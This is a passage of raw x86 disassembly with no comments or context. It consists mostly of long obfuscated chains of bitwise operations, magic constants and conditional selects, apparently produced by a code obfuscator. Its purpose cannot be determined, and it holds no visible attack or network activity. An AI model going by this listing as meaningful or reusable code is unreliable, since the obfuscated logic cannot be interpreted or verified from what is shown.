or al, dh
mov bl, al
xor bl, 1
and ch, dh
or ch, bh
mov cl, bl
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor cl, ch
xor cl, 1
mov al, bl
xor al, ch
or ch, bl
xor ch, 1
or ch, al
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov dh, ah
mov cl, byte [ebp - 0x14]
or dh, cl
xor dh, 1
mov al, ah
mov bh, byte [ebp - 0x1c]
and al, bh
mov dl, byte [ebp - 0x18]
and cl, dl
or cl, al
or dh, cl
mov bl, cl
xor bl, bh
mov al, bh
and bl, cl
xor dl, byte [ebp - 0x14]
mov bh, dh
xor bh, 1
or ah, al
xor ah, 1
or ah, dl
mov al, bl
xor al, 1
xor bl, al
and bl, ah
xor bl, al
or al, ah
xor bl, 1
mov cl, bl
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov cl, bl
xor cl, 1
mov eax, ecx
and al, bl
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov bl, bh
and bl, al
and al, cl
xor al, 1
mov dl, al
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor al, dh
mov dl, al
xor dl, 1
and dh, cl
or dh, bl
or cl, bh
xor cl, 1
or cl, dh
mov ah, al
and ah, cl
xor cl, 1
and dl, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov cl, dl
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov al, ch
xor al, 1
mov dh, cl
or dh, ch
mov dl, al
or dl, ah
mov ebx, edx
xor bl, dh
or dl, dh
xor dl, 1
or dl, bl
and ah, ch
xor dl, 1
or dl, al
and al, cl
mov ecx, edx
xor cl, 1
or al, ah
and cl, al
xor al, 1
mov ah, al
and ah, dl
or ah, cl
xor ah, 1
or ah, dl
xor ah, 1
xor al, dl
mov ecx, eax
xor cl, ah
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xfff7fbca
mov esi, 0x21b79a20
cmovne edx, esi
test al, 1
mov eax, 0xfff7fbca
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x1000f9b0
mov eax, dword [ebp - 0x48]
mov eax, 0x200e52ff
jmp 0x1000f9b0
mov eax, dword [ebp - 0x58]
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov esi, eax
and ecx, 0xd643f1f5
mov eax, edx
mov edi, edx
mov dword [ebp - 0x20], edx
and eax, 0x29bc0e0a
or eax, ecx
mov ecx, eax
xor ecx, 0x80080a
xor eax, 0xd643f1f5
mov edx, eax
and edx, 0x69300275
and ecx, 0x280088a
or ecx, edx
mov edx, esi
mov ebx, esi
mov dword [ebp - 0x18], esi
and edx, edi
mov esi, edx
not esi
or eax, esi
and esi, 0x69300275
and edx, 0x280088a
or edx, esi
xor edx, ecx
not eax
or eax, edx
not eax
or eax, 0x944ff500
mov edi, eax
not edi
and eax, 0x552a0559
mov ecx, edi
and ecx, 0x2a900aa6
or ecx, eax
mov edx, ecx
xor edx, 0xaad5faa6
mov eax, edx
and eax, 0x58781323
and edi, 0x238008dc
or edi, eax
mov esi, ebx
or esi, 0x6bb00aff
mov eax, esi
xor eax, 0x400a000
mov ebx, esi
xor ebx, 0x100c0100
and ebx, 0xb20f4550
and eax, 0x460b202
or eax, ebx
xor eax, edi
xor ecx, 0x552a0559
mov edi, ecx
and edi, 0x2080022b
and edx, 0xdf32add4
or edx, edi
mov edi, esi
not edi
or ecx, edi
and edi, 0x4d5000
and esi, 0xdf32add4
or esi, edi
xor esi, edx
not ecx
or ecx, esi
mov edx, eax
xor edx, 0xfa1b4571
xor eax, 0x5e4ba8e
mov esi, eax
and esi, 0x49ef56ba
and edx, 0xb610a945
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x49ef56ba
and esi, 0xb610a945
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0x944ff500
xor eax, 0x6bb00aff
mov edx, eax
and edx, 0x2110
and ecx, 0x80200804
or ecx, edx
xor ecx, 0x80200804
and eax, 0x380ac0e3
lea esi, [eax + ecx]
add esi, 0x47d51608
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x2c012294
mov edx, esi
and edx, 0x2829d02
or edx, ecx
mov ecx, edx
xor ecx, 0x8c00
xor edx, 0x1825205d
and edx, 0x1aa7315f
and ecx, 0x24008e80
or ecx, edx
or eax, 0xa833116
and eax, 0x1aa7315f
and esi, 0xc1584020
or esi, eax
xor esi, ecx
mov edi, dword [ebp - 0x20]
mov eax, edi
or eax, 0x2a101088
and eax, 0xfb7d91c9
mov edx, dword [ebp - 0x18]
mov ecx, edx
and ecx, 0x4022226
or ecx, eax
or edx, 0xd16d8141
and edx, 0xfb7d91c9
mov eax, edi
and eax, 0x804c10
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0xd010a80
xor eax, 0x1082044c
and eax, 0x70c6445c
and ecx, 0x8f39bba3
or ecx, eax
mov edx, esi
xor edx, 0xd17c4069
xor esi, 0x2e83bf96
mov ebx, esi
and ebx, edx
mov edi, esi
and edi, 0x2e633f51
mov eax, edx
and edx, 0xd19cc0ae
or edx, edi
xor edx, 0x1be7f918
or edx, esi
mov dword [ebp - 0x1c], edx
and esi, 0x8bd5149d
and eax, 0x742aeb62
or eax, esi
xor eax, 0x742aeb62
mov esi, ebx
or esi, eax
mov dword [ebp - 0x30], esi
mov ebx, ecx
xor ebx, 0x8f39bba3
or ebx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ebx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xfa909fdd
and ebx, 0x56f6022
or ebx, eax
mov dword [ebp - 0x34], ebx
mov edi, esi
not edi
mov dword [ebp - 0x2c], edi
mov eax, edi
and eax, 0x3584c649
mov edx, esi
and edx, 0xca7b39b6
or edx, eax
mov eax, edx
xor eax, edi
and eax, edx
mov edi, ebx
xor edi, 0xfa909fdd
mov dword [ebp - 0x28], edi
mov edx, ebx
xor edx, 0x56f6022
mov dword [ebp - 0x24], edx
and edx, 0x47347cf7
and edi, 0xb8cb8308
or edi, edx
mov edx, edi
xor edx, 0xb8cb8308
xor edi, 0x1042431
and edi, 0xb1cc2431
mov ebx, edx
and ebx, 0x4e33dbce
or ebx, edi
xor ebx, 0x8448e278
and edx, 0x3584c649
or edx, ebx
mov esi, dword [ebp - 0x14]
or esi, 0x482338a0
and ecx, 0x34048248
and esi, 0x49a37ca1
or esi, ecx
mov ecx, dword [ebp - 0x1c]
xor ecx, eax
and eax, ecx
not ecx
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov ebx, edx
not ebx
and edx, 0xb64ae2d9
mov edi, ebx
and edi, 0x49b51d26
or edi, edx
mov eax, edi
xor eax, 0x49b51d26
mov dword [ebp - 0x38], eax
and eax, 0xb64f8834
and ebx, 0x49b077cb
or ebx, eax
mov ecx, esi
mov edx, esi
xor edx, 0x49a37ca1
xor ecx, 0xb65c835e
mov dword [ebp - 0x14], ecx
mov eax, edx
or eax, 0x481076c9
and eax, 0x5c1476c9
and ecx, 0xa04a8804
or ecx, eax
mov esi, dword [ebp - 0x14]
or esi, 0x14040010
and esi, 0x5c1476d9
mov eax, edx
and eax, 0x1800000
or eax, esi
xor eax, ecx
xor eax, ebx
xor edi, 0xb64ae2d9
mov ecx, edi
and ecx, 0xc2143961
mov esi, dword [ebp - 0x38]
and esi, 0x3debc69e
or esi, ecx
or edi, edx
and edx, 0x40041
mov ecx, dword [ebp - 0x14]
and ecx, 0x3debc69e
or ecx, edx
xor ecx, esi
not edi
or edi, ecx
xor eax, 0x2010020
not edi
or edi, eax
mov edx, dword [ebp - 0x1c]
not edx
mov ecx, edi
not ecx
mov eax, ecx
xor eax, edx
and eax, edi
and ecx, 0x7f3a0404
and edi, 0x80c5fbfb
or edi, ecx
xor edi, 0x7f3a0404
or edi, edx
not edi
or edi, eax
mov ebx, dword [ebp - 0x30]
mov eax, ebx
or eax, 0x17011000
and eax, 0xb7077841
mov ecx, dword [ebp - 0x2c]
mov edx, ecx
and edx, 0x407003aa
or edx, eax
mov eax, ecx
or eax, 0xa0066841
and eax, 0xb7077841
and ebx, 0x8888414
or ebx, eax
xor ebx, edx
mov eax, dword [ebp - 0x28]
mov edx, eax
or edx, 0x1f899414
mov esi, edx
and esi, 0xcdcf4447
mov ecx, dword [ebp - 0x24]
and ecx, 0x20302ba8
or ecx, esi
mov esi, dword [ebp - 0x34]
xor esi, 0x1ae6f436
and esi, eax
mov eax, esi
not eax
or edx, eax
and eax, 0xcdcf4447
and esi, 0x3230bbb8
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov eax, edx
xor eax, edx
not eax
and eax, ebx
xor eax, edx
mov edx, dword [ebp - 0x30]
mov ecx, edx
and ecx, 0x7f61b0b4
mov esi, dword [ebp - 0x2c]
and esi, 0x809e4f4b
or esi, ecx
mov ecx, dword [ebp - 0x28]
or edx, ecx
and ecx, 0x7f61b0b4
mov ebx, ecx
mov ecx, dword [ebp - 0x24]
and ecx, 0x809e4f4b
or ecx, ebx
xor ecx, esi
not edx
or edx, ecx
mov esi, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7f4fbe91
and eax, 0x80b0416e
or eax, edx
xor eax, esi
or ecx, esi
xor eax, 0x80b0416e
not ecx
or ecx, eax
mov edx, ecx
xor edx, 0xa80910bc
and edx, ecx
mov eax, ecx
not eax
and eax, 0xa80910bc
or eax, edx
not edx
and edx, 0x57f6ef43
and eax, 0xa80910bc
or eax, edx
mov edx, eax
not edx
mov esi, eax
xor esi, 0x9f471e8e
and esi, edx
mov ecx, eax
and ecx, 0x60b8e171
or ecx, esi
mov esi, eax
and esi, 0xa4d1a605
and edx, 0x5b2e59fa
or edx, esi
xor ecx, edi
xor edx, edi
or eax, edi
xor edx, 0x5b2e59fa
not eax
or eax, edx
mov edx, ecx
xor edx, 0x9f471e8e
xor ecx, 0x60b8e171
mov esi, ecx
and esi, 0x511ff284
and edx, 0xaee00d7b
or edx, esi
xor edx, eax
xor edx, 0xaee00d7b
or ecx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xc2d5f4f8
and eax, ecx
mov esi, edx
and esi, 0x9f0bc728
and ecx, 0x60f438d7
or ecx, esi
xor ecx, 0x27212ede
or ecx, edx
or edx, eax
not eax
and eax, 0x3d2a0b07
and edx, 0xc2d5f4f8
or edx, eax
mov esi, edx
not esi
and edx, 0xe3d709f1
mov eax, esi
and eax, 0x1c28f60e
or eax, edx
xor eax, 0x5bfde007
and esi, 0xb82ae9f6
or esi, eax
mov eax, esi
not eax
mov edx, eax
xor edx, ecx
and edx, eax
xor eax, esi
and eax, ecx
xor eax, esi
or eax, edx
mov esi, eax
not esi
mov ecx, eax
xor ecx, 0x3ea7f25
and ecx, eax
mov edx, esi
and edx, 0x55bb59aa
and eax, 0xaa44a655
or eax, edx
xor eax, 0xfac39ba7
or eax, esi
or esi, ecx
not ecx
and ecx, 0x500500d2
and esi, 0x823d20
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0xba127e15
mov edx, esi
and edx, 0x408501e2
or edx, ecx
mov dword [ebp - 0x1c], edx
mov edi, edx
xor edi, 0x45ed81ea
mov dword [ebp - 0x14], edi
mov ecx, edx
xor ecx, 0x6ec9f746
and ecx, edi
and esi, 0x434a0
or esi, ecx
mov ecx, eax
not ecx
mov ebx, ecx
mov edx, ecx
mov dword [ebp - 0x24], ecx
or ebx, 0x2b2476ac
mov ecx, ebx
and ecx, 0xacbf1d61
mov edi, eax
and edi, 0x50408012
or edi, ecx
mov ecx, eax
xor ecx, 0x2b2476ac
and ecx, edx
mov edx, ecx
not edx
or ebx, edx
and edx, 0xacbf1d61
and ecx, 0x5340e29e
or ecx, edx
xor ecx, edi
not ebx
or ebx, ecx
mov ecx, ebx
xor ecx, ebx
not ecx
and ecx, esi
xor ecx, ebx
mov esi, dword [ebp - 0x1c]
xor esi, 0xba127e15
mov edx, esi
and edx, 0x40062cf2
mov edi, dword [ebp - 0x14]
and edi, 0x35d9910d
or edi, edx
mov edx, dword [ebp - 0x24]
or esi, edx
and edx, 0xca266ef2
and eax, 0x35d9910d
or eax, edx
xor eax, edi
not esi
or esi, eax
not esi
or esi, ecx
mov edi, dword [ebp - 0x18]
mov eax, edi
and eax, 0x48411861
mov ebx, dword [ebp - 0x20]
mov ecx, ebx
and ecx, 0x12202608
or ecx, eax
mov eax, ecx
xor eax, 0x408
xor ecx, 0x8d508f6
and ecx, 0x1af52af6
and eax, 0x40001409
or eax, ecx
mov edx, edi
or edx, 0x1a612a60
and edx, 0x1af52af6
mov ecx, ebx
and ecx, 0xa50ac100
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, 0x18a0100
xor ecx, 0x1a210001
and ecx, 0x1a250095
and eax, 0x18a0348
or eax, ecx
mov ecx, eax
xor ecx, 0x80040
or ecx, 0xe0104c22
xor eax, 0x10200081
and eax, 0x11a20389
and ecx, 0xea1d4c76
or ecx, eax
mov eax, esi
xor eax, 0xaf78c20d
xor ecx, 0xea1d4c76
mov edx, edi
or edx, 0x130c0145
and ebx, 0x40402422
and edx, 0xb71cd945
or edx, ebx
xor edx, 0xb71cd945
or edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0xe901002f
and ebx, edx
not edx
and edx, 0x6001000b
and ecx, 0x89000024
or ecx, edx
xor ecx, 0x89000024
or ebx, ecx
mov ecx, esi
xor ecx, 0x50873df2
mov dword [ebp - 0x18], ecx
and ecx, 0x4010b445
mov edx, eax
and edx, 0x9383010a
or edx, ecx
mov ecx, edx
xor ecx, 0x1081000a
xor edx, 0x6c7cfef5
mov edi, edx
and edx, 0xe70ed9e1
and ecx, 0x1091240e
or ecx, edx
xor esi, 0x7ceb7742
and esi, eax
mov edx, esi
not edx
or edi, edx
and edx, 0xe70ed9e1
and esi, 0x18f1261e
or esi, edx
xor esi, ecx
not edi
or edi, esi
mov ecx, ebx
xor ebx, 0xd51fc0d
xor ecx, 0xf2ae03f2
mov edx, ecx
mov esi, ecx
and edx, 0x2f977f24
mov ecx, ebx
and ecx, 0xd06880db
or ecx, edx
mov edx, ecx
xor edx, 0xc020009b
xor ecx, 0x23100200
and ecx, 0x33588240
and edx, 0xcca77dbf
or edx, ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x34], edi
mov edx, edi
xor edx, 0x2c6c4ab0
mov dword [ebp - 0x38], edx
mov ecx, edi
xor ecx, 0xd393b54f
mov dword [ebp - 0x30], ecx
and ecx, 0x98df3940
and edx, 0x6720c6bf
or edx, ecx
mov edi, edx
xor edi, 0x6720c6bf
xor edx, 0x8920940
and edx, 0xeb20b78
mov ecx, edi
and ecx, 0xf14df487
or ecx, edx
xor ecx, 0xd01b54a1
and edi, 0xdea95fd9
or edi, ecx
mov ecx, dword [ebp - 0x18]
and ecx, 0xd7f1967c
and eax, 0x280e6983
or eax, ecx
mov edx, eax
xor edx, 0x280e6983
xor eax, 0x42808010
and eax, 0x6282e810
mov ecx, edx
and ecx, 0x9d7d17ef
or ecx, eax
xor ecx, 0x43d44836
and edx, 0x2156a026
or edx, ecx
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x14]
mov ecx, edx
xor ecx, 0x33588240
mov dword [ebp - 0x2c], ecx
xor edx, 0xcca77dbf
mov dword [ebp - 0x28], edx
or edx, 0x4e090ad8
mov eax, ecx
and eax, 0x122000
and edx, 0x6f4d8afe
or edx, eax
and esi, 0x18a84b48
and ebx, 0xc6011491
or ebx, esi
mov eax, ebx
xor eax, 0x82000001
or eax, 0x1528020
xor ebx, 0x8a00b08
and ebx, 0x4ca11f98
and eax, 0x935ac061
or eax, ebx
mov dword [ebp - 0x18], eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x72d8a2ba
xor edi, 0x9730e70a
and edi, eax
and eax, 0x8d275d45
or eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, eax
xor ecx, 0x8d275d45
mov dword [ebp - 0x24], ecx
mov ebx, eax
xor ebx, 0x1a17ba4f
and ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xdb4bb496
and ebx, 0x24b44b69
or ebx, ecx
mov ecx, edi
not ecx
or eax, ecx
and ecx, 0xdb4bb496
and edi, 0x24b44b69
or edi, ecx
xor edi, ebx
not eax
or eax, edi
mov edi, dword [ebp - 0x20]
mov ebx, edi
not ebx
mov ecx, ebx
or ecx, 0x13300408
and ecx, 0x73f61c48
and edi, 0x80900b5
or edi, ecx
mov esi, dword [ebp - 0x20]
or esi, 0x60c61840
and esi, 0x73f61c48
mov ecx, ebx
and ecx, 0x8400e302
or ecx, esi
xor ecx, edi
xor ecx, eax
mov esi, dword [ebp - 0x1c]
xor esi, 0x72d8a2ba
mov eax, esi
and eax, 0xf78a6002
mov edi, dword [ebp - 0x24]
and edi, 0x8759ffd
or edi, eax
mov dword [ebp - 0x24], edi
or esi, ebx
mov edi, esi
and ebx, 0xf78a6002
mov eax, dword [ebp - 0x20]
and eax, 0x8759ffd
or eax, ebx
xor eax, dword [ebp - 0x24]
mov esi, eax
mov eax, edi
not eax
or eax, esi
not eax
or eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, edx
xor eax, 0x90b27501
mov dword [ebp - 0x20], eax
mov ecx, edx
xor edx, 0x1f93653c
mov esi, edx
and esi, eax
mov edi, esi
not edi
mov ebx, edi
and ebx, 0xb712035
and esi, 0x700ecd02
or esi, ebx
xor ecx, 0x6f4d8afe
and edx, ecx
mov ebx, edx
not ebx
or edi, ebx
and ebx, 0xbf122f5
and edx, 0x20068002
or edx, ebx
xor edx, esi
not edi
or edi, edx
mov ebx, dword [ebp - 0x18]
mov edx, ebx
xor edx, 0x935ac061
xor ebx, 0x6ca53f9e
mov dword [ebp - 0x18], ebx
mov esi, edx
or esi, 0x9000035
and esi, 0x498844f5
mov eax, ebx
and eax, 0x10020b00
or eax, esi
mov esi, ebx
or esi, 0x60dce4c2
and esi, 0x69dce4f7
mov ebx, edx
and ebx, 0x86211008
or ebx, esi
xor ebx, eax
mov esi, ebx
xor esi, ebx
not esi
and esi, edi
xor esi, ebx
mov eax, ecx
and eax, 0x1042020
mov edi, dword [ebp - 0x20]
and edi, 0xbcf38506
or edi, eax
or ecx, edx
and edx, 0x42085ad9
mov eax, dword [ebp - 0x18]
and eax, 0xbcf38506
or eax, edx
xor eax, edi
not ecx
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, 0x952f385b
mov edx, ecx
and edx, 0x6ad0c7a4
or edx, esi
mov esi, edx
xor esi, 0x6ad0c7a4
xor edx, 0x6745c835
and edx, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0xd23f25fb
and edx, 0x2dc0da04
or edx, edi
or eax, 0xf26af06e
or esi, eax
and eax, 0xd23f25fb
and ecx, 0xd800a00
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
mov ecx, dword [ebp - 0x1c]
xor ecx, 0xf26af06e
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x34]
xor ebx, 0xc16213be
mov edx, dword [ebp - 0x38]
and ebx, edx
mov eax, dword [ebp - 0x30]
and eax, 0xec1206d6
and edx, 0x13edf929
or edx, eax
mov eax, dword [ebp - 0x28]
and eax, 0xed0e590e
mov ecx, dword [ebp - 0x14]
xor ecx, 0xde56db4e
and ecx, dword [ebp - 0x2c]
or ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, edx
xor eax, 0x13edf929
mov ecx, edx
xor ecx, 0x11c5fd8
and ecx, eax
mov esi, ecx
not esi
mov edi, esi
and edi, 0x5e155edb
and ecx, 0xa1eaa124
or ecx, edi
mov edi, ebx
not edi
or esi, edi
and edi, 0x5e155edb
and ebx, 0xa1eaa124
or ebx, edi
xor ebx, ecx
not esi
or esi, ebx
xor esi, dword [ebp - 0x14]
xor edx, 0xec1206d6
mov ecx, edx
and ecx, 0xc4fd9589
and eax, 0x3b026a76
or eax, ecx
mov ecx, dword [ebp - 0x2c]
or edx, ecx
and ecx, 0xc4fd9589
mov edi, ecx
mov ecx, dword [ebp - 0x28]
and ecx, 0x3b026a76
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xb200d73b
and esi, 0x4dff28c4
or esi, ecx
xor esi, edx
xor esi, 0x4dff28c4
or eax, edx
not eax
or eax, esi
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xcc33cd6d
and edx, eax
and eax, 0x33cc3292
or eax, ecx
mov ecx, eax
xor ecx, 0x20cc2080
xor eax, 0xcc33cd6d
mov esi, eax
and esi, 0x9b21533e
and ecx, 0x64deacc1
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x9b21533e
and edx, 0x64deacc1
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x48b646b9
and eax, 0xb749b946
or eax, edx
xor eax, 0xb749b946
or eax, ecx
mov edi, dword [ebp - 0x18]
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x4a648c2a
and edi, 0xb59b73d5
or edi, ecx
mov edx, eax
not edx
and eax, 0x6d41e380
mov ecx, edx
and ecx, 0x92be1c7f
or ecx, eax
mov eax, ecx
xor eax, 0x92be1c7f
xor ecx, 0x9679f26
and ecx, eax
and edx, 0x9bd98359
or edx, ecx
mov ecx, edi
xor ecx, 0xb59b73d5
mov dword [ebp - 0x14], ecx
xor edi, 0x2e42f08c
and edi, ecx
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0x801802f4
and edi, 0x7fe7fd0b
or edi, ecx
or esi, 0x64267ca6
or ebx, esi
and esi, 0x801802f4
mov ecx, dword [ebp - 0x18]
and ecx, 0x1bc18109
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
xor ebx, edx
or eax, dword [ebp - 0x14]
not eax
or eax, ebx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x70188ac2
mov edx, eax
and edx, 0x8fe7753d
or edx, esi
mov esi, edx
xor esi, 0xeb4b906c
xor edx, 0x8fe7753d
and edx, esi
and ecx, 0xbb9d2c12
and eax, 0x4462d3ed
or eax, ecx
mov ecx, eax
xor ecx, 0x4462d3ed
xor eax, 0x10100802
and eax, 0x54528b63
mov esi, ecx
and esi, 0xabad749c
or esi, eax
xor esi, 0xcf0191cd
and ecx, 0x9b531aae
or ecx, esi
mov esi, ecx
not esi
mov eax, edx
not eax
and esi, eax
or eax, ecx
and ecx, edx
or ecx, esi
mov edx, ecx
not edx
mov esi, edx
and esi, 0xbf9b7be0
and ecx, 0x4064841f
or ecx, esi
xor ecx, eax
xor ecx, 0x4064841f
or edx, eax
not edx
or edx, ecx
mov eax, edx
xor eax, 0x64ace551
xor edx, 0x9b531aae
mov ecx, edx
and ecx, 0x8318c02c
mov esi, eax
and esi, 0x40050e51
or esi, ecx
mov ecx, esi
xor ecx, 0x40e50
xor esi, 0x8840c0a4
or edx, 0xc001c025
and esi, 0xc841c0a5
and ecx, 0x31c0e58
or ecx, esi
and edx, 0xc841c0a5
and eax, 0x34a23102
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0x3ce23182
mov edx, eax
xor edx, 0xc31dce7d
or edx, ecx
xor eax, 0x65389098
and eax, edx
mov ecx, eax
xor ecx, 0x59daa11a
xor eax, 0x54aa1
and eax, 0x45eaa9
and ecx, 0xffba1556
or ecx, eax
cmp ecx, 0xffba1556
sete al
cmp dword [0x10045904], 0xa
setge byte [ebp - 0x18]
setl byte [ebp - 0x1c]
mov ecx, eax
inc cl
mov bh, al
and bh, cl
xor bh, 1
or bh, cl
xor bh, 1
or bh, al
mov bl, bh
xor bl, 1
mov byte [ebp - 0x14], bl
mov ch, bh
and ch, bl
xor ch, 1
mov eax, ebx
xor al, ch
or bl, ch
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
xor al, 1
or al, bl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
and ah, al
mov al, ah
xor al, bl
or ah, bl
xor ah, 1
or ah, al
xor ah, 1
or ah, al
mov al, ah
xor al, 1
and al, ah
xor al, 1
mov dh, ah
xor dh, al
or al, ah
xor al, 1
or al, dh
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov dh, al
xor dh, ah
or al, ah
xor al, 1
or al, dh
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov dh, al
xor dh, ah
or al, ah
xor al, 1
or al, dh
mov dh, al
xor dh, 1
mov cl, dh
and cl, al
mov ah, cl
xor ah, 1
and ah, al
xor dh, cl
and dh, cl
or ah, cl
xor dh, 1
xor ah, 1
mov al, dh
xor al, ah
or ah, dh
xor ah, 1
or ah, al
mov cl, ah
xor cl, 1
mov al, cl
and al, ah
xor cl, al
xor al, 1
or al, ah
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov ah, cl
and ah, al
xor cl, ah
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
mov al, ah
xor al, 1
and al, ah
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov ah, cl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
mov al, bh
xor al, ch
or ch, bh
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov cl, byte [ebp - 0x14]
and cl, al
and ch, bh
or ch, cl
xor ch, 1
or ch, al
mov dh, ch
xor dh, 1
mov al, dh
and al, ch
xor al, 1
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and cl, dl
and al, bl
or al, cl
and bl, dh
or dh, dl
and ch, dl
xor dh, 1
or ch, bl
or ch, dh
mov cl, ch
xor cl, 1
mov dh, ch
and dh, cl
xor dh, 1
or dh, cl
xor dh, 1
or dh, ch
mov cl, dh
and cl, al
xor al, 1
xor dh, 1
and dh, al
or dh, cl
mov dl, byte [ebp - 0x1c]
xor ah, dl
or al, ch
xor al, 1
or al, dh
mov ch, al
xor ch, dl
mov cl, al
or cl, dl
xor cl, 1
or cl, ch
mov bl, al
xor bl, 1
and al, dl
mov ch, byte [ebp - 0x18]
and bl, ch
or bl, al
xor bl, 1
or bl, dl
mov dh, bl
xor dh, bl
xor dh, 1
and dh, cl
or cl, bl
xor dh, bl
xor dh, 1
mov al, dh
xor al, cl
or dh, cl
xor dh, 1
or dh, al
mov al, dl
mov cl, byte [ebp - 0x14]
xor al, cl
xor ch, al
and ch, al
or cl, dl
xor cl, 1
xor bh, dl
and bh, dl
or bh, cl
mov cl, ch
xor cl, 1
and cl, bh
mov al, bh
xor al, 1
mov dl, ch
xor dl, al
and dl, ch
and al, ch
or al, cl
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov dl, dh
xor dl, 1
mov cl, dh
and cl, dl
xor cl, 1
or cl, dh
xor cl, 1
or cl, dl
xor cl, 1
mov ch, bl
xor ch, cl
and ch, al
or cl, al
xor ch, 1
mov bh, ch
xor bh, cl
or ch, cl
xor ch, 1
or ch, bh
mov cl, ah
xor cl, 1
and al, dh
or dh, bl
xor dh, 1
and dl, bl
or dl, al
or dl, dh
mov al, ch
xor al, 1
mov dh, dl
mov ebx, eax
xor al, dl
xor dl, 1
and dh, ch
and bl, dl
or bl, dh
or dl, ch
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ch, dl
xor ch, 1
mov al, dl
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov dh, dl
and dh, al
xor dh, 1
mov ch, al
xor ch, dh
or dh, al
xor dh, 1
or dh, ch
xor dh, al
mov al, dl
xor al, dh
or dh, dl
xor dh, 1
or dh, al
mov ch, dh
xor ch, 1
mov dl, ah
and dl, cl
xor dl, 1
mov al, cl
or al, dl
xor al, 1
or al, ah
and ch, dh
xor ch, 1
mov bl, dh
xor bl, ch
or ch, dh
xor ch, 1
or ch, bl
mov dh, ch
xor dh, 1
mov bl, ch
and bl, al
xor al, 1
and al, dh
or al, bl
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov bl, dh
xor bl, ah
and bl, ch
mov cl, ah
or cl, ch
xor cl, 1
or cl, bl
and ch, ah
or ah, dh
and dl, dh
or dl, ch
xor dl, 1
mov ch, dl
xor ch, ah
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and ah, dl
xor ah, 1
mov ch, dl
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov ch, cl
xor ch, 1
mov dl, ah
xor dl, 1
and ah, ch
or ch, dl
and dl, cl
xor ch, 1
or dl, ah
or dl, ch
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, dl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor dl, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov edx, eax
or dl, cl
xor dl, 1
xor cl, al
or dl, cl
or ah, al
xor ah, 1
and cl, al
or cl, ah
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ch, dl
xor ch, al
and ch, dl
and al, dl
or al, cl
